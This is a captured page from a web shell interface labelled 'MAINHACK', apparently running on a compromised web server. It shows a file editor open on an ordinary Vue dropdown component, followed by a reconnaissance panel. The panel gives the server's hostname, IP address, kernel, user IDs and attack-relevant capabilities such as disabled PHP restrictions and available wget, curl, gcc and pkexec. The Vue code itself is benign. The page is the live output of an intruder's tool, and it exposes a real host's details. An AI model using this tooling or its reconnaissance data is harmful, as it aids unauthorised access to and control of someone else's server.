[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Dropdown.vue
<script setup> import { computed, onMounted, onUnmounted, ref } from 'vue'; const props = defineProps({ align: { type: String, default: 'right', }, width: { type: String, default: '48', }, contentClasses: { type: Array, default: () => ['py-1', 'bg-white'], }, }); let open = ref(false); const closeOnEscape = (e) => { if (open.value && e.key === 'Escape') { open.value = false; } }; onMounted(() => document.addEventListener('keydown', closeOnEscape)); onUnmounted(() => document.removeEventListener('keydown', closeOnEscape)); const widthClass = computed(() => { return { '48': 'w-48', }[props.width.toString()]; }); const alignmentClasses = computed(() => { if (props.align === 'left') { return 'ltr:origin-top-left rtl:origin-top-right start-0'; } if (props.align === 'right') { return 'ltr:origin-top-right rtl:origin-top-left end-0'; } return 'origin-top'; }); </script> <template> <div class="relative"> <div @click="open = ! open"> <slot name="trigger" /> </div> <!-- Full Screen Dropdown Overlay --> <div v-show="open" class="fixed inset-0 z-40" @click="open = false" /> <transition enter-active-class="transition ease-out duration-200" enter-from-class="transform opacity-0 scale-95" enter-to-class="transform opacity-100 scale-100" leave-active-class="transition ease-in duration-75" leave-from-class="transform opacity-100 scale-100" leave-to-class="transform opacity-0 scale-95" > <div v-show="open" class="absolute z-50 mt-2 rounded-md shadow-lg" :class="[widthClass, alignmentClasses]" style="display: none;" @click="open = false" > <div class="rounded-md ring-1 ring-black ring-opacity-5" :class="contentClasses"> <slot name="content" /> </div> </div> </transition> </div> </template>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002